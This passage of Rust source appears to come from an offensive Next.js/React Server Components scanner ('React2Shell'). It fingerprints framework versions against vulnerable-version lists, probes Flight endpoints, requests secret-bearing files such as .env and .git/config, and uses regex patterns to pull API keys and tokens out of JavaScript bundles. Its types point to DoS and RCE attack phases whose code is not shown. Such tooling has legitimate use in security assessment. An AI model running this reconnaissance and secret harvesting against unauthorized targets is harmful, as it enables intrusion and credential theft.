1use crate::error::{Result, WebAnalyzerError};
28use chrono::Utc;
29use regex::Regex;
30use reqwest::Client;
31use serde::{Deserialize, Serialize};
32use std::collections::HashSet;
33use std::time::{Duration, Instant};
34
35#[derive(Debug, Clone, Serialize, Deserialize)]
41pub struct VersionInfo {
42 pub version: String,
43 pub source: String,
44 pub context: String,
45}
46
47#[derive(Debug, Clone, Serialize, Deserialize)]
49pub struct DependencyInfo {
50 pub name: String,
51 pub version: String,
52 pub source: String,
53 pub context: String,
54}
55
56#[derive(Debug, Clone, Serialize, Deserialize)]
58pub struct SecretInfo {
59 pub secret_type: String,
60 pub value: String,
61 pub source: String,
62 pub context: String,
63}
64
65#[derive(Debug, Clone, Serialize, Deserialize)]
67pub struct ExposedFile {
68 pub path: String,
69 pub url: String,
70 pub context: String,
71}
72
73#[derive(Debug, Clone, Serialize, Deserialize)]
75pub struct ScanResult {
76 pub url: String,
77 pub is_nextjs: bool,
78 pub nextjs_version: Option<VersionInfo>,
79 pub react_version: Option<VersionInfo>,
80 pub rsc_enabled: bool,
81 pub vulnerable: bool,
82 pub dependencies: Vec<DependencyInfo>,
83 pub exposed_files: Vec<ExposedFile>,
84 pub secrets: Vec<SecretInfo>,
85 pub details: Vec<String>,
86 pub scan_duration_ms: u64,
87}
88
89#[derive(Debug, Clone, Serialize, Deserialize)]
91pub struct ReconResult {
92 pub target: String,
93 pub timestamp: String,
94 pub nextjs_version: Option<String>,
95 pub react_version: Option<String>,
96 pub is_app_router: bool,
97 pub rsc_endpoints: Vec<RscEndpoint>,
98 pub vulnerable: bool,
99}
100
101#[derive(Debug, Clone, Serialize, Deserialize)]
103pub struct RscEndpoint {
104 pub path: String,
105 pub method: String,
106 pub content_type: String,
107 pub notes: String,
108}
109
110#[derive(Debug, Clone, Serialize, Deserialize)]
112pub struct SourceLeakFinding {
113 pub pattern: String,
114 pub matched: String,
115 pub context: String,
116}
117
118#[derive(Debug, Clone, Serialize, Deserialize)]
120pub struct SourceLeakResult {
121 pub target: String,
122 pub success: bool,
123 pub bytes_leaked: usize,
124 pub leaked_source: String,
125 pub findings: Vec<SourceLeakFinding>,
126}
127
128#[derive(Debug, Clone, Serialize, Deserialize)]
130pub struct DosResult {
131 pub target: String,
132 pub baseline_ms: f64,
133 pub attack_elapsed_ms: f64,
134 pub dos_successful: bool,
135 pub server_recovered: bool,
136 pub effect_multiplier: f64,
137}
138
139#[derive(Debug, Clone, Serialize, Deserialize)]
141pub struct RceResult {
142 pub target: String,
143 pub success: bool,
144 pub poc_file_created: bool,
145 pub command_outputs: Vec<RceCommandOutput>,
146}
147
148#[derive(Debug, Clone, Serialize, Deserialize)]
150pub struct RceCommandOutput {
151 pub command: String,
152 pub output: String,
153 pub exit_code: i32,
154 pub error: String,
155}
156
157#[derive(Debug, Clone, Serialize, Deserialize)]
159pub struct AttackPhaseResult {
160 pub phase: String,
161 pub success: bool,
162 pub duration_ms: u64,
163 pub details: String,
164}
165
166#[derive(Debug, Clone, Serialize, Deserialize)]
168pub struct FullChainResult {
169 pub target: String,
170 pub timestamp: String,
171 pub phases: Vec<AttackPhaseResult>,
172 pub total_duration_ms: u64,
173 pub tor_enabled: bool,
174 pub scan: Option<ScanResult>,
175 pub recon: Option<ReconResult>,
176 pub source_leak: Option<SourceLeakResult>,
177 pub dos: Option<DosResult>,
178 pub rce: Option<RceResult>,
179}
180
181#[derive(Debug, Clone, Serialize, Deserialize)]
183pub struct AttackReport {
184 pub target: String,
185 pub generated_at: String,
186 pub scan: Option<ScanResult>,
187 pub recon: Option<ReconResult>,
188 pub source_leak: Option<SourceLeakResult>,
189 pub dos: Option<DosResult>,
190 pub rce: Option<RceResult>,
191 pub full_chain: Option<FullChainResult>,
192 pub summary: ReportSummary,
193}
194
195#[derive(Debug, Clone, Serialize, Deserialize)]
196pub struct ReportSummary {
197 pub rsc_active: bool,
198 pub framework_detected: bool,
199 pub version_found: bool,
200 pub vulnerability_verdict: String,
201 pub attack_phases_completed: Vec<String>,
202 pub risk_level: String,
203}
204
205const VULNERABLE_REACT: &[&str] = &["19.0.0", "19.1.0", "19.1.1", "19.2.0", "18.3.0-canary"];
211
212const VULNERABLE_NEXT: &[&str] = &[
214 "14.3.0-canary",
215 "15.0.0",
216 "15.0.1",
217 "15.0.2",
218 "15.0.3",
219 "15.0.4",
220 "15.1.0",
221 "15.1.1",
222 "15.1.2",
223 "15.1.3",
224 "15.1.4",
225 "15.1.5",
226 "15.1.6",
227 "15.1.7",
228 "15.1.8",
229 "15.2.0",
230 "15.2.1",
231 "15.2.2",
232 "15.2.3",
233 "15.2.4",
234 "15.2.5",
235 "15.3.0",
236 "15.3.1",
237 "15.3.2",
238 "15.3.3",
239 "15.3.4",
240 "15.3.5",
241 "15.4.0",
242 "15.4.1",
243 "15.4.2",
244 "15.4.3",
245 "15.4.4",
246 "15.4.5",
247 "15.4.6",
248 "15.4.7",
249 "15.5.0",
250 "15.5.1",
251 "15.5.2",
252 "15.5.3",
253 "15.5.4",
254 "15.5.5",
255 "15.5.6",
256 "16.0.0",
257 "16.0.1",
258 "16.0.2",
259 "16.0.3",
260 "16.0.4",
261 "16.0.5",
262 "16.0.6",
263];
264
265const SENSITIVE_PATHS: &[&str] = &[
267 ".env",
268 ".env.local",
269 ".env.development",
270 ".env.production",
271 ".env.test",
272 ".git/config",
273 ".git/HEAD",
274 "package.json",
275 "package-lock.json",
276 "docker-compose.yml",
277 "Dockerfile",
278 ".npmrc",
279 "yarn.lock",
280 "next.config.js",
281 "tsconfig.json",
282 ".vscode/settings.json",
283 "web.config",
284 "robots.txt",
285];
286
287const SECRET_PATTERNS: &[(&str, &str)] = &[
289 ("Google API Key", r"AIza[0-9A-Za-z\-_]{35}"),
290 ("Firebase URL", r"https://[a-z0-9\-]+\.firebaseio\.com"),
291 (
292 "Slack Webhook",
293 r"https://hooks\.slack\.com/services/T[a-zA-Z0-9_]+/B[a-zA-Z0-9_]+/[a-zA-Z0-9_]+",
294 ),
295 ("AWS Access Key", r"AKIA[0-9A-Z]{16}"),
296 (
297 "AWS Secret Key",
298 r#"secret_?key\s*[:=]\s*['\"][0-9a-zA-Z/+]{40}['\"]"#,
299 ),
300 (
301 "JWT Token",
302 r"ey[A-Za-z0-9-_=]+\.[A-Za-z0-9-_=]+\.?[A-Za-z0-9-_.+/=]*",
303 ),
304 ("GitHub Token", r"gh[oprs]_[a-zA-Z0-9]{36,}"),
305 (
306 "Discord Webhook",
307 r"https://discord\.com/api/webhooks/[0-9]+/[a-zA-Z0-9\-]+",
308 ),
309 (
310 "Generic API Key",
311 r#"(?:api_?key|auth_?token|access_?token)\s*[:=]\s*['\"][0-9a-zA-Z\-_]{16,}['\"]"#,
312 ),
313];
314
315const SOURCE_LEAK_PATTERNS: &[&str] = &[
317 r"(?i)(api[_-]?key|api[_-]?secret)",
318 r"(?i)(db[_-]?password|database[_-]?url)",
319 r"(?i)(jwt[_-]?secret|signing[_-]?key)",
320 r"(?i)(token|bearer|auth)",
321 r"(?i)(postgresql://|mysql://|mongodb://)",
322 r"(?i)(sk_live|pk_live|sk_test)",
323];
324
325const JS_PRIORITY_KEYWORDS: &[&str] = &["framework", "main", "webpack", "app", "pages", "layout"];
327
328struct Color;
333
334impl Color {
335 pub const RED: &'static str = "\x1b[91m";
336 pub const GREEN: &'static str = "\x1b[92m";
337 pub const YELLOW: &'static str = "\x1b[93m";
338 #[allow(dead_code)]
339 pub const BLUE: &'static str = "\x1b[94m";
340 pub const MAGENTA: &'static str = "\x1b[95m";
341 pub const CYAN: &'static str = "\x1b[96m";
342 pub const WHITE: &'static str = "\x1b[97m";
343 pub const BOLD: &'static str = "\x1b[1m";
344 pub const DIM: &'static str = "\x1b[2m";
345 pub const RESET: &'static str = "\x1b[0m";
346 pub const BG_RED: &'static str = "\x1b[41m";
347 pub const BG_GREEN: &'static str = "\x1b[42m";
348}
349
350pub fn is_react_vulnerable(version: &str) -> bool {
356 VULNERABLE_REACT.iter().any(|v| version.starts_with(v))
357}
358
359pub fn is_nextjs_vulnerable(version: &str) -> bool {
361 VULNERABLE_NEXT.iter().any(|v| version.starts_with(v))
362}
363
364fn build_insecure_client() -> Result<Client> {
366 crate::http_client_builder()
367 .danger_accept_invalid_certs(true)
368 .user_agent("React2Shell-Scanner/2.0 (Rust/Pentest)")
369 .timeout(Duration::from_secs(15))
370 .build()
371 .map_err(WebAnalyzerError::Http)
372}
373
374fn build_client_with_timeout(secs: u64) -> Result<Client> {
376 crate::http_client_builder()
377 .danger_accept_invalid_certs(true)
378 .user_agent("React2Shell-Scanner/2.0 (Rust/Pentest)")
379 .timeout(Duration::from_secs(secs))
380 .build()
381 .map_err(WebAnalyzerError::Http)
382}
383
384fn context_window(text: &str, start: usize, end: usize, window: usize) -> String {
386 let s = start.saturating_sub(window);
387 let e = std::cmp::min(text.len(), end + window);
388 text[s..e].to_string()
389}
390
391pub struct React2ShellScanner {
400 target: String,
401 client: Client,
402 results: ScanResult,
403}
404
405impl React2ShellScanner {
406 pub async fn new(target: &str) -> Result<Self> {
408 let target = target.trim_end_matches('/').to_string();
409 Ok(Self {
410 target: target.clone(),
411 client: build_insecure_client()?,
412 results: ScanResult {
413 url: target,
414 is_nextjs: false,
415 nextjs_version: None,
416 react_version: None,
417 rsc_enabled: false,
418 vulnerable: false,
419 dependencies: Vec::new(),
420 exposed_files: Vec::new(),
421 secrets: Vec::new(),
422 details: Vec::new(),
423 scan_duration_ms: 0,
424 },
425 })
426 }
427
428 fn add_detail(&mut self, detail: &str) {
429 self.results.details.push(detail.to_string());
430 }
431
432 pub async fn analyze_headers(&mut self) -> Result<()> {
436 let resp = match self.client.head(&self.target).send().await {
437 Ok(r) => r,
438 Err(_) => {
439 self.add_detail("Header analysis: HEAD request failed, trying GET.");
440 self.client
441 .get(&self.target)
442 .send()
443 .await
444 .map_err(WebAnalyzerError::Http)?
445 }
446 };
447
448 let headers = resp.headers();
449 let x_powered_by = headers
450 .get("x-powered-by")
451 .and_then(|v| v.to_str().ok())
452 .unwrap_or("")
453 .to_lowercase();
454
455 if x_powered_by.contains("next.js") {
456 self.results.is_nextjs = true;
457 self.add_detail("Header 'X-Powered-By' indicates Next.js.");
458
459 if let Ok(re) = Regex::new(r"next\.js\s*([\d\.]+)") {
461 if let Some(caps) = re.captures(&x_powered_by) {
462 let ver = caps.get(1).unwrap().as_str().to_string();
463 self.results.nextjs_version = Some(VersionInfo {
464 version: ver.clone(),
465 source: self.target.clone(),
466 context: format!("x-powered-by: {}", x_powered_by),
467 });
468 self.add_detail(&format!("Next.js version detected from headers: {}", ver));
469 }
470 }
471 }
472
473 let has_nextjs_headers = headers
475 .keys()
476 .any(|k| k.as_str().to_lowercase().starts_with("x-nextjs"));
477 if has_nextjs_headers {
478 self.results.is_nextjs = true;
479 self.add_detail("Custom 'X-NextJS-*' headers detected.");
480 }
481
482 if let Some(cookie) = headers.get("set-cookie").and_then(|v| v.to_str().ok()) {
484 if cookie.contains("__prerender_bypass") {
485 self.results.is_nextjs = true;
486 self.add_detail("Next.js prerender bypass cookie detected.");
487 }
488 }
489 if headers.contains_key("x-invoke-path") {
490 self.results.is_nextjs = true;
491 self.add_detail("Next.js 'x-invoke-path' header detected.");
492 }
493
494 Ok(())
495 }
496
497 pub async fn fetch_static_bundles(&mut self) -> Result<()> {
501 let resp = self
502 .client
503 .get(&self.target)
504 .send()
505 .await
506 .map_err(WebAnalyzerError::Http)?;
507
508 let html = resp
509 .text()
510 .await
511 .map_err(|e| WebAnalyzerError::Other(format!("Failed to read response body: {}", e)))?;
512
513 if let Ok(re) = Regex::new(
515 r#"<meta[^>]+name=["']generator["'][^>]+content=["']Next\.js\s+(1[456]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)["']"#,
516 ) {
517 if let Some(caps) = re.captures(&html) {
518 let ver = caps.get(1).unwrap().as_str().to_string();
519 if self.results.nextjs_version.is_none() {
520 let ctx = context_window(
521 &html,
522 caps.get(0).unwrap().start(),
523 caps.get(0).unwrap().end(),
524 30,
525 );
526 self.results.nextjs_version = Some(VersionInfo {
527 version: ver.clone(),
528 source: self.target.clone(),
529 context: ctx,
530 });
531 self.results.is_nextjs = true;
532 self.add_detail(&format!(
533 "Next.js version detected from HTML meta tag: {}",
534 ver
535 ));
536 }
537 }
538 }
539
540 if html.contains("_next/static/chunks/app/")
542 || html.contains("app-pages-internals")
543 || html.contains("self.__next_f")
544 {
545 self.results.is_nextjs = true;
546 self.results.rsc_enabled = true;
547 self.add_detail("Next.js App Router detected (RSC active).");
548 } else if html.contains("id=\"__NEXT_DATA__\"") || html.contains("_next/static") {
549 self.results.is_nextjs = true;
550 self.add_detail("Next.js Pages Router or static file structure detected.");
551 }
552
553 if !self.results.is_nextjs {
555 let manifest_url = format!("{}/_next/build-manifest.json", self.target);
556 if let Ok(resp) = self.client.get(&manifest_url).send().await {
557 if resp.status().is_success() {
558 if let Ok(body) = resp.text().await {
559 if body.contains("pages") {
560 self.results.is_nextjs = true;
561 self.add_detail(
562 "/_next/build-manifest.json accessible — confirmed Next.js.",
563 );
564 }
565 }
566 }
567 }
568 }
569
570 let js_pattern = Regex::new(r"(/_next/static/[a-zA-Z0-9_/\-\.]+\.js)").unwrap();
572 let js_files: HashSet<String> = js_pattern
573 .find_iter(&html)
574 .map(|m| m.as_str().to_string())
575 .collect();
576
577 if !js_files.is_empty() {
578 self.add_detail(&format!(
579 "Found {} static JS files. Starting version analysis...",
580 js_files.len()
581 ));
582 self.extract_versions_from_js(js_files).await;
583 }
584
585 Ok(())
586 }
587
588 async fn extract_versions_from_js(&mut self, initial_js_files: HashSet<String>) {
590 let mut scanned: HashSet<String> = HashSet::new();
591 let mut to_scan: Vec<String> = initial_js_files.into_iter().collect();
592 let new_js_re = Regex::new(r#"["'](/[a-zA-Z0-9_/\-\.]+\.js)["']"#).unwrap();
593 let chunk_re = Regex::new(r"static/chunks/[a-zA-Z0-9_/\-\.]+\.js").unwrap();
594 let pkg_re = Regex::new(
595 r"/\*!\s*(?:[A-Za-z0-9_\-\.\@\/]+\s+)?([a-zA-Z0-9_\-\.\@\/]+)\s+[vV]?([0-9]+\.[0-9]+\.[0-9]+[a-zA-Z0-9_\-\.]*)\s*\*/",
596 )
597 .unwrap();
598 let embedded_re = Regex::new(
599 r#"(?:name|pkg|package)\s*:\s*["']([a-zA-Z0-9_\-\.\@\/]+)["']\s*,\s*(?:version|ver)\s*:\s*["']([0-9]+\.[0-9]+\.[0-9]+[a-zA-Z0-9_\-\.]*)["']"#,
600 )
601 .unwrap();
602
603 to_scan.sort_by(|a, b| {
605 let a_prio = JS_PRIORITY_KEYWORDS.iter().any(|k| a.contains(k));
606 let b_prio = JS_PRIORITY_KEYWORDS.iter().any(|k| b.contains(k));
607 b_prio.cmp(&a_prio)
608 });
609
610 let max_files = 100usize;
611
612 while let Some(js_path) = to_scan.pop() {
613 if scanned.contains(&js_path) || scanned.len() >= max_files {
614 continue;
615 }
616 scanned.insert(js_path.clone());
617
618 let js_url = if js_path.starts_with("http") {
619 js_path.clone()
620 } else {
621 format!("{}{}", self.target, js_path)
622 };
623
624 let js_content = match self.client.get(&js_url).send().await {
625 Ok(resp) if resp.status().is_success() => match resp.text().await {
626 Ok(t) => t,
627 Err(_) => continue,
628 },
629 _ => continue,
630 };
631
632 for m in new_js_re.find_iter(&js_content) {
634 let path = m.as_str().trim_matches(&['"', '\''][..]).to_string();
635 if !scanned.contains(&path) && !to_scan.contains(&path) {
636 to_scan.push(path);
637 }
638 }
639 for m in chunk_re.find_iter(&js_content) {
640 let path = format!("/_next/{}", m.as_str());
641 if !scanned.contains(&path) && !to_scan.contains(&path) {
642 to_scan.push(path);
643 }
644 }
645
646 to_scan.sort_by(|a, b| {
648 let a_prio = JS_PRIORITY_KEYWORDS.iter().any(|k| a.contains(k));
649 let b_prio = JS_PRIORITY_KEYWORDS.iter().any(|k| b.contains(k));
650 b_prio.cmp(&a_prio)
651 });
652
653 for caps in pkg_re.captures_iter(&js_content) {
655 let name = caps.get(1).unwrap().as_str().to_string();
656 let version = caps.get(2).unwrap().as_str().to_string();
657 if !self.results.dependencies.iter().any(|d| d.name == name) {
658 let ctx = context_window(
659 &js_content,
660 caps.get(0).unwrap().start(),
661 caps.get(0).unwrap().end(),
662 30,
663 );
664 self.results.dependencies.push(DependencyInfo {
665 name: name.clone(),
666 version: version.clone(),
667 source: js_url.clone(),
668 context: ctx,
669 });
670 self.add_detail(&format!("Dependency detected: {} (v{})", name, version));
671 }
672 }
673
674 for caps in embedded_re.captures_iter(&js_content) {
676 let name = caps.get(1).unwrap().as_str().to_string();
677 let version = caps.get(2).unwrap().as_str().to_string();
678 if name.len() > 1
679 && version.len() > 1
680 && !self.results.dependencies.iter().any(|d| d.name == name)
681 {
682 let ctx = context_window(
683 &js_content,
684 caps.get(0).unwrap().start(),
685 caps.get(0).unwrap().end(),
686 30,
687 );
688 self.results.dependencies.push(DependencyInfo {
689 name: name.clone(),
690 version: version.clone(),
691 source: js_url.clone(),
692 context: ctx,
693 });
694 self.add_detail(&format!(
695 "Embedded dependency detected: {} (v{})",
696 name, version
697 ));
698 }
699 }
700
701 if self.results.react_version.is_none() {
703 self.try_extract_react_version(&js_content, &js_url);
704 }
705
706 if self.results.nextjs_version.is_none() {
708 self.try_extract_nextjs_version(&js_content, &js_url);
709 }
710
711 self.detect_secrets(&js_content, &js_url);
713 }
714
715 if self.results.react_version.is_none() || self.results.nextjs_version.is_none() {
717 let health_url = format!("{}/api/health", self.target);
718 if let Ok(resp) = self.client.get(&health_url).send().await {
719 if resp.status().is_success() {
720 if let Ok(data) = resp.json::<serde_json::Value>().await {
721 if let Some(versions) = data.get("version") {
722 if self.results.react_version.is_none() {
723 if let Some(react_ver) =
724 versions.get("react").and_then(|v| v.as_str())
725 {
726 self.results.react_version = Some(VersionInfo {
727 version: react_ver.to_string(),
728 source: health_url.clone(),
729 context: data.to_string(),
730 });
731 self.add_detail(&format!(
732 "/api/health revealed React version: {}",
733 react_ver
734 ));
735 }
736 }
737 if self.results.nextjs_version.is_none() {
738 if let Some(next_ver) =
739 versions.get("next").and_then(|v| v.as_str())
740 {
741 self.results.nextjs_version = Some(VersionInfo {
742 version: next_ver.to_string(),
743 source: health_url.clone(),
744 context: data.to_string(),
745 });
746 self.add_detail(&format!(
747 "/api/health revealed Next.js version: {}",
748 next_ver
749 ));
750 }
751 }
752 }
753 }
754 }
755 }
756 }
757 }
758
759 fn try_extract_react_version(&mut self, js_content: &str, source_url: &str) {
760 let patterns = [
761 (
762 r"react(?:@|[\s\-\_]*v?)(1[89]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)",
763 false,
764 ),
765 (
766 r#"reconcilerVersion\s*[:=]\s*["'](1[89]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)["']"#,
767 true,
768 ),
769 (
770 r#"(?:version|ReactVersion)\s*[:=]\s*["'](1[89]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)["']"#,
771 true,
772 ),
773 (
774 r#""react"\s*:\s*"[^"]*(1[89]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)[^"]*""#,
775 false,
776 ),
777 (
778 r"react-dom(?:@|[\s\-\_]*v?)(1[89]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)",
779 false,
780 ),
781 ];
782
783 for (pattern, requires_react_context) in &patterns {
784 if let Ok(re) = Regex::new(pattern) {
785 if let Some(caps) = re.captures(js_content) {
786 let version = caps.get(1).unwrap().as_str().to_string();
787 if *requires_react_context {
788 let lower = js_content.to_lowercase();
789 if lower.contains("react")
790 || lower.contains("uselayouteffect")
791 || lower.contains("usestate")
792 {
793 let ctx = context_window(
794 js_content,
795 caps.get(0).unwrap().start(),
796 caps.get(0).unwrap().end(),
797 30,
798 );
799 self.results.react_version = Some(VersionInfo {
800 version: version.clone(),
801 source: source_url.to_string(),
802 context: ctx,
803 });
804 self.add_detail(&format!(
805 "React version detected in JS bundle: {}",
806 version
807 ));
808 return;
809 }
810 } else {
811 let ctx = context_window(
812 js_content,
813 caps.get(0).unwrap().start(),
814 caps.get(0).unwrap().end(),
815 30,
816 );
817 self.results.react_version = Some(VersionInfo {
818 version: version.clone(),
819 source: source_url.to_string(),
820 context: ctx,
821 });
822 self.add_detail(&format!(
823 "React version detected in JS bundle: {}",
824 version
825 ));
826 return;
827 }
828 }
829 }
830 }
831 }
832
833 fn try_extract_nextjs_version(&mut self, js_content: &str, source_url: &str) {
834 let patterns = [
835 (
836 r"next(?:@|[\s\-\_]*v?)(1[456]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)",
837 false,
838 ),
839 (
840 r#"window\.next\s*=\s*\{.*?version:\s*["'](1[456]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)["']"#,
841 false,
842 ),
843 (
844 r#"(?:__NEXT_VERSION|nextVersion|version)\s*[:=]\s*["'](1[456]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)["']"#,
845 true,
846 ),
847 (
848 r#""next"\s*:\s*"[^"]*(1[456]\.[\d\.]+(?:-[a-zA-Z0-9.\-]+)?)[^"]*""#,
849 false,
850 ),
851 ];
852
853 for (pattern, requires_nextjs_context) in &patterns {
854 if let Ok(re) = Regex::new(pattern) {
855 if let Some(caps) = re.captures(js_content) {
856 let version = caps.get(1).unwrap().as_str().to_string();
857 if *requires_nextjs_context {
858 let lower = js_content.to_lowercase();
859 if lower.contains("next")
860 || lower.contains("app-router")
861 || lower.contains("window.next")
862 {
863 let ctx = context_window(
864 js_content,
865 caps.get(0).unwrap().start(),
866 caps.get(0).unwrap().end(),
867 30,
868 );
869 self.results.nextjs_version = Some(VersionInfo {
870 version: version.clone(),
871 source: source_url.to_string(),
872 context: ctx,
873 });
874 self.add_detail(&format!(
875 "Next.js version detected in JS bundle: {}",
876 version
877 ));
878 return;
879 }
880 } else {
881 let ctx = context_window(
882 js_content,
883 caps.get(0).unwrap().start(),
884 caps.get(0).unwrap().end(),
885 30,
886 );
887 self.results.nextjs_version = Some(VersionInfo {
888 version: version.clone(),
889 source: source_url.to_string(),
890 context: ctx,
891 });
892 self.add_detail(&format!(
893 "Next.js version detected in JS bundle: {}",
894 version
895 ));
896 return;
897 }
898 }
899 }
900 }
901 }
902
903 fn detect_secrets(&mut self, content: &str, source_url: &str) {
907 for (name, pattern) in SECRET_PATTERNS {
908 if let Ok(re) = Regex::new(pattern) {
909 for m in re.find_iter(content) {
910 let val = m.as_str().to_string();
911 if !self.results.secrets.iter().any(|s| s.value == val) {
912 let ctx = context_window(content, m.start(), m.end(), 30);
913 self.results.secrets.push(SecretInfo {
914 secret_type: name.to_string(),
915 value: val,
916 source: source_url.to_string(),
917 context: ctx,
918 });
919 self.add_detail(&format!("Secret detected: {} ({})", name, source_url));
920 }
921 }
922 }
923 }
924 }
925
926 pub async fn check_flight_protocol(&mut self) -> Result<()> {
930 let headers: Vec<(&str, &str)> = vec![
931 ("RSC", "1"),
932 ("Content-Type", "text/x-component"),
933 ("Next-Action", "test-action"),
934 (
935 "Next-Router-State-Tree",
936 "%5B%22%22%2C%7B%22children%22%3A%5B%22__PAGE__%22%2C%7B%7D%5D%7D%2Cnull%2Cnull%2Ctrue%5D",
937 ),
938 ];
939
940 let mut req = self.client.post(&self.target).body("[]".to_string());
941 for (k, v) in &headers {
942 req = req.header(*k, *v);
943 }
944
945 match req.send().await {
946 Ok(resp) => {
947 let resp_headers = resp.headers().clone();
948 let content_type = resp_headers
949 .get("content-type")
950 .and_then(|v| v.to_str().ok())
951 .unwrap_or("")
952 .to_lowercase();
953
954 if content_type.contains("text/x-component") {
955 self.results.rsc_enabled = true;
956 self.add_detail(
957 "Flight protocol active! Server supports RSC & Server Actions.",
958 );
959 } else if [400u16, 500].contains(&resp.status().as_u16()) {
960 if let Ok(body) = resp.text().await {
961 let lower = body.to_lowercase();
962 if lower.contains("action") || lower.contains("flight") {
963 self.results.rsc_enabled = true;
964 self.add_detail(
965 "Flight protocol error received. RSC active but payload rejected.",
966 );
967 }
968 }
969 }
970 }
971 Err(e) => {
972 self.add_detail(&format!("Flight protocol test error: {}", e));
973 }
974 }
975
976 Ok(())
977 }
978
979 pub async fn fuzz_sensitive_files(&mut self) -> Result<()> {
983 self.add_detail("Starting sensitive file fuzzing...");
984 self.results.exposed_files.clear();
985
986 for path in SENSITIVE_PATHS {
987 let url = format!("{}/{}", self.target, path.trim_start_matches('/'));
988 match self.client.get(&url).send().await {
989 Ok(resp) if resp.status().is_success() => {
990 let content_type = resp
991 .headers()
992 .get("content-type")
993 .and_then(|v| v.to_str().ok())
994 .unwrap_or("");
995 if content_type.contains("text/html") {
997 continue;
998 }
999 if let Ok(body) = resp.text().await {
1000 if body.len() < 100 || !body[..100].to_lowercase().contains("<html") {
1001 let ctx = if body.len() > 200 {
1002 format!("{}...", &body[..200])
1003 } else {
1004 body.clone()
1005 };
1006 self.results.exposed_files.push(ExposedFile {
1007 path: path.to_string(),
1008 url: url.clone(),
1009 context: ctx,
1010 });
1011 self.add_detail(&format!("Exposed sensitive file: {} ({})", path, url));
1012 }
1013 }
1014 }
1015 _ => {}
1016 }
1017 }
1018
1019 Ok(())
1020 }
1021
1022 pub fn evaluate_vulnerability(&mut self) {
1026 let mut is_react_vuln = false;
1027 let mut is_next_vuln = false;
1028
1029 if let Some(ref ver_info) = self.results.react_version {
1030 if is_react_vulnerable(&ver_info.version) {
1031 is_react_vuln = true;
1032 self.add_detail(&format!(
1033 "React {} is in the vulnerable versions list!",
1034 ver_info.version
1035 ));
1036 }
1037 }
1038
1039 if let Some(ref ver_info) = self.results.nextjs_version {
1040 if is_nextjs_vulnerable(&ver_info.version) {
1041 is_next_vuln = true;
1042 self.add_detail(&format!(
1043 "Next.js {} is in the vulnerable versions list!",
1044 ver_info.version
1045 ));
1046 }
1047 }
1048
1049 if (is_react_vuln || is_next_vuln) && self.results.rsc_enabled {
1051 self.results.vulnerable = true;
1052 }
1053 else if is_react_vuln || is_next_vuln {
1055 self.add_detail(
1056 "Vulnerable framework version used. RSC endpoint not confirmed but high risk.",
1057 );
1058 self.results.vulnerable = true;
1059 }
1060 else if self.results.is_nextjs
1062 && self.results.rsc_enabled
1063 && self.results.nextjs_version.is_none()
1064 {
1065 self.add_detail(
1066 "Version unknown but RSC active. Potentially vulnerable (Next.js 15+).",
1067 );
1068 self.results.vulnerable = true;
1069 }
1070 else if self.results.rsc_enabled
1072 && self.results.react_version.is_none()
1073 && self.results.nextjs_version.is_none()
1074 {
1075 self.add_detail(
1076 "Versions not detected but RSC is active. Manual verification recommended.",
1077 );
1078 }
1079 }
1080
1081 pub async fn scan(&mut self) -> Result<ScanResult> {
1085 let start = Instant::now();
1086
1087 self.analyze_headers().await?;
1088 self.fetch_static_bundles().await?;
1089 self.check_flight_protocol().await?;
1090 self.fuzz_sensitive_files().await?;
1091 self.evaluate_vulnerability();
1092
1093 self.results.scan_duration_ms = start.elapsed().as_millis() as u64;
1094 Ok(self.results.clone())
1095 }
1096}
1097
1098pub async fn run_recon(target: &str) -> Result<ReconResult> {
1104 let target = target.trim_end_matches('/').to_string();
1105 let client = build_insecure_client()?;
1106
1107 let mut is_app_router = false;
1108 let mut nextjs_version: Option<String> = None;
1109 let mut react_version: Option<String> = None;
1110 let mut rsc_endpoints: Vec<RscEndpoint> = Vec::new();
1111
1112 if let Ok(resp) = client.get(format!("{}/api/health", target)).send().await {
1114 if resp.status().is_success() {
1115 if let Ok(data) = resp.json::<serde_json::Value>().await {
1116 if let Some(versions) = data.get("version") {
1117 nextjs_version = versions
1118 .get("next")
1119 .and_then(|v| v.as_str())
1120 .map(|s| s.to_string());
1121 react_version = versions
1122 .get("react")
1123 .and_then(|v| v.as_str())
1124 .map(|s| s.to_string());
1125 }
1126 }
1127 }
1128 }
1129
1130 if let Ok(resp) = client.get(&target).send().await {
1132 if resp.status().is_success() {
1133 if let Ok(html) = resp.text().await {
1134 if html.contains("_next/static/chunks/app/") || html.contains("app-pages-internals")
1136 {
1137 is_app_router = true;
1138 }
1139
1140 if react_version.is_none() {
1142 if let Ok(re) = Regex::new(r"react@([\d\.]+)") {
1143 if let Some(caps) = re.captures(&html) {
1144 react_version = Some(caps.get(1).unwrap().as_str().to_string());
1145 }
1146 }
1147 if react_version.is_none() {
1148 if let Ok(re) = Regex::new(r"React v([\d\.]+)") {
1149 if let Some(caps) = re.captures(&html) {
1150 react_version = Some(caps.get(1).unwrap().as_str().to_string());
1151 }
1152 }
1153 }
1154 }
1155 }
1156 }
1157 }
1158
1159 let rsc_headers: Vec<(&str, &str)> = vec![
1161 ("Content-Type", "text/x-component"),
1162 ("Next-Action", "dummy-action-id"),
1163 ];
1164
1165 let mut req = client.post(&target).body("[]".to_string());
1166 for (k, v) in &rsc_headers {
1167 req = req.header(*k, *v);
1168 }
1169
1170 if let Ok(resp) = req.send().await {
1171 let ct = resp
1172 .headers()
1173 .get("content-type")
1174 .and_then(|v| v.to_str().ok())
1175 .unwrap_or("");
1176 if ct.contains("text/x-component")
1177 || (resp.status().as_u16() >= 400 && resp.status().as_u16() < 600 && {
1178 resp.text()
1179 .await
1180 .map(|b| b.contains("Server Action") || b.contains("Error"))
1181 .unwrap_or(false)
1182 })
1183 {
1184 rsc_endpoints.push(RscEndpoint {
1185 path: "/".to_string(),
1186 method: "POST".to_string(),
1187 content_type: "text/x-component".to_string(),
1188 notes: "Server Action / RSC compatible".to_string(),
1189 });
1190 }
1191 }
1192
1193 let nv = nextjs_version.clone();
1194 let rv = react_version.clone();
1195
1196 Ok(ReconResult {
1197 target: target.clone(),
1198 timestamp: Utc::now().to_rfc3339(),
